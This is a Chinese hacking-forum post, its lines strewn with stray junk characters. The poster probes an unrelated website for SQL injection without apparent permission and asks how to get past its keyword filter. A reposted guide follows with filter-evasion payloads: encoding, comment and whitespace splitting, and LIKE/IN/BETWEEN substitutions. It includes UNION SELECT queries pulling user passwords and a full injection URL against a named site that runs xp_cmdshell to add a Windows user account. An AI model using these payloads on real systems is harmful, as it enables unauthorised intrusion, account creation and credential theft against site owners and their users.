路过这个网站,检测了一下.+ B, j. P, Z' \4 l
http://www.xxx.cn/Article.asp?ID=117 and 1=1
$ C4 ~9 i9 a3 z- @- _' c直接返回主页
- g) U0 x. ?5 ?9 V4 Hhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
7 Y2 C' b- B: \) T2 C/ d直接返回主页
, L' {) C) o( O; U7 |. ]2 J# k) bhttp://www.xxx.cn/Article.asp?ID=117 or
, K& `% G5 o/ @/ V. J没有返回主页 没有过滤or
; p- o# `6 l+ ^. [http://www.xxx.cn/Article.asp?ID=117 and
9 q4 @& D* Z& q& _直接返回主页 看来过滤了and
$ k! [5 j7 b$ H$ _4 Thttp://www.xxx.cn/Article.asp?ID=117 or 1
! I1 f6 f/ R: b8 @; `! r0 a没有返回主页 即没有过滤or 也没有过滤1
; n4 c ^* e g4 i! s9 w# shttp://www.xxx.cn/Article.asp?ID=117 or 1=1
0 D5 D# l, A. z; }0 u2 S i直接返回主页 很明显过滤了等号
9 t. o9 Q. k/ h, [or的特性是与and相反的.
3 Y7 F% P4 p, Z, [or 1=1 爆错 或与原页面不同4 U. c( l' [$ K
or 1=2 原页面相同, i, e+ _& V3 D; [* D( x3 F# ^ b
这样就是一个注入点
; S, d0 C$ D* g' T/ {! `1 y但他过滤了=号 我就用><号代替=号吧!/ Q1 U c3 ~* w, p v% U8 w+ v
or 1<2 很明显是正确的,所以应该与原页面不同- d% y% D! O3 P& h |* s/ b
or 1>2 很明显是错误的,所以应该与原页面相同5 A; u, @' \. v! Y5 Y) B
然后看看有没有过滤其他的查询语句,比如select.$ X9 W D2 N' O5 n: @5 Z
http://www.xxx.cn/Article.asp?ID=117 select
* ^# y$ k- X; B2 X3 K直接返回主页
- K; O9 k6 B# p9 E' h又迷茫了..
+ M$ \2 z% Y( K( p! }$ ]/ ^& y; y* Z/ F1 ~3 {! x. L+ x
- q' @) X; U, ^' w* i. t
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗2 w( q' T$ B7 ?8 v2 [
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
! ~3 @9 I7 z; ]6 s- J+ K0 l# {================================================5 _0 L+ n0 X3 u) n; r. ?1 T
以下是转贴:2 A2 J; |/ g: ~, r' c
$ G9 o6 P* _2 Q6 L7 ^5 K5 H# l突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
1 w0 M8 L* k2 K2 \/ V3 j经过我的收集,大部分的防注入程序都过滤了以下关键字: , w0 F" ^; e9 T, i+ M* E0 g% x: Y
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
6 W9 M7 z' T: K& g4 C1 C$ X而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
, R$ ~9 t7 q% J2 Q7 c+ F对于关键字的过滤,以下是我收集的以及我个人的一些想法。 T9 W+ t8 D% S+ i4 R% a
1、运用编码技术绕过
0 M/ p; ~/ Y1 f) w( b5 g+ ~如URLEncode编码,ASCII编码绕过。例如or 1=1即
" [3 Q* B0 E2 X; t. A$ u4 M%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ) e8 F4 u. U( @# Y8 S
" E) C0 o6 l4 N' I9 J# D
2、通过空格绕过 # `" }/ J$ w3 [! ]
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 6 ]) O1 Q; O4 q; x5 ]
or’ swords’ =‘swords’ 4 I+ f# x8 Z1 u- D0 p8 ]: }, b
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
; o2 O9 P3 _$ Y! _1 R2 X3、运用字符串判断代替
% m6 l4 B: W3 {; y; F& v; S用经典的or 1=1判断绕过,如
" ]: m. k/ m5 x0 @; [or ’swords’ =’swords’ 0 ]1 p& b. w7 L- x; R
,这个方法就是网上在讨论的。 0 I8 x/ }' o( J% b% a) {
4、通过类型转换修饰符N绕过 . G+ E7 l1 A$ N' E: L
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
0 |$ k7 Z4 n7 ~0 N# [5、通过+号拆解字符串绕过 % w- K- ]6 L' C+ E) s
效果值得考证,但毕竟是一种方法。如 ! R' q. F% R6 a; P
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) ' Y+ s4 V s0 C7 b
$ W8 O. j. ~1 x' V* x6、通过LIKE绕过 + a: m( ^' d3 E* W
以前怎么就没想到呢?如or 9 F% V* |, {+ [! h- C% R; w9 o
’swords’ LIKE ’sw’
* w6 u& Z2 @, w. `4 s6 R!!!显然可以很轻松的绕过 5 g6 ? _9 K0 q1 }
“=”“>” 6 j/ |4 Y" E) I( h& H! W& v
的限制…… ! m+ E3 U3 ^3 E/ Q$ i4 Q5 e- l
7、通过IN绕过 ! r' B) u! s C8 J0 D
与上面的LIKE的思路差不多,如 1 _- y1 |8 ^' H% C
or ’swords’ IN (’swords’)
. \. j* O3 \4 W, \
, z( l% s! v8 Q- o& M8、通过BETWEEN绕过 " t0 h' g. d9 E5 s5 o; ^+ q) k1 c
如
4 I' T9 V9 D4 ^- ^& i* q" dor ’swords’ BETWEEN ’rw’ AND ’tw’
1 h) T4 L% c" G% c# a2 e: _# ]! `8 o( l* A/ p6 j' {- g% s
9、通过>或者<绕过 6 x" ^6 {' J5 D
or ’swords’ > ’sw’
& S3 j0 S; H$ l! s- For ’swords’ < ’tw’
& u& C4 c7 n$ Y$ A; h& c$ l# aor 1<3
' h* {/ x5 y* j6 r…… # d( ]# d$ g3 P) |' |) D
10、运用注释语句绕过
( x4 C [/ Q' Y q/ I5 S用/**/代替空格,如:
7 m2 [) ^8 a. L! ?UNION /**/ Select /**/user,pwd,from tbluser
5 k6 V! n, i3 c6 q# N! @4 J; ]
& Z0 t# v8 E/ s* X' U& m用/**/分割敏感词,如:
+ P- \! E0 Y. bU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 9 G, X- @! H. ?) \4 [7 \+ i# `8 m& m
% }: [1 }6 l/ ^, m$ L2 N3 b
11、用HEX绕过,一般的IDS都无法检测出来
& ]! E% Q) p* i. N& {' O% b0x730079007300610064006D0069006E00 =hex(sysadmin) , M- Q# G2 Y2 l g. `: x
0x640062005F006F0077006E0065007200 =hex(db_owner)
N9 p! T; @ E5 M另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: + F! u# g5 O: U! t
declare @a sysname
/ q5 T: `# U& @/ f4 [6 | select @a=
. I1 B' y9 y6 D- C% i exec master.dbo.xp_cmdshell @a " N/ ~; Z& h, [! H$ Q
效果
$ L# p/ l5 k# r4 |8 ahttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- . C- s; A2 P! n# p6 a& w q$ X4 J* q
7 S7 c [5 g/ ]
其中的 4 Z" ?2 h( v/ v
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 4 R( _, U% W* c+ W. q7 O) |3 F$ Z
就是 * y8 }2 R7 o* b5 M& j
“net user angel pass /add”! Z1 q0 W& b7 c
$ ?* H4 {( u) J7 }/ ~
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。! P1 ]% S* F5 B2 s
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。2 |" h( P! `2 Y. g
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似6 [6 a/ z A0 E$ h# P, B
Copy code% h+ E, l8 I" [5 `% A# q
select * from table exec xp_cmdshell'xxxxxxxxxx'
# i7 v+ a. o/ ?5 ]0 ]
( T0 w9 a/ \3 Z; b) T' W0 j; H2 d* x3 s! f: M
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
# d% B. I% e/ {7 W L$ ^' p$ O3 d% W" @6 P* V2 ]+ ?
9 y/ d! S$ \; }5 e$ b( e/ |
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
7 F2 H6 @! Q g
0 ~" b3 Q/ G9 r8 u
) j' }! g1 ] d# J# f. Fselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
( E+ r0 V6 o: }
: R, s$ P5 F6 ?/ {, r( `* J的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧? w& q1 b6 f5 x2 p
1 _5 o7 ^0 W3 w V$ h* U
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了2 c% }& E; z) {& M* G8 T9 e* {
可能大家早就知道了,不管怎么说,发在这里吧!
/ p" U1 O+ I, i& i
, n4 |3 z- j$ z4 t最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。3 H- \/ |" e3 E: E* [+ J- v
8 L+ W) H/ J7 r' |9 v" m9 J6 f9 q) }2 o
% n* j2 c: D% c$ R2 `6 S0 e# ~
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
* P+ p6 Z. y7 K& y比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
: u7 H" x @ r- g& L. k0 Z, N
! r7 d* U- t) D- U/ c |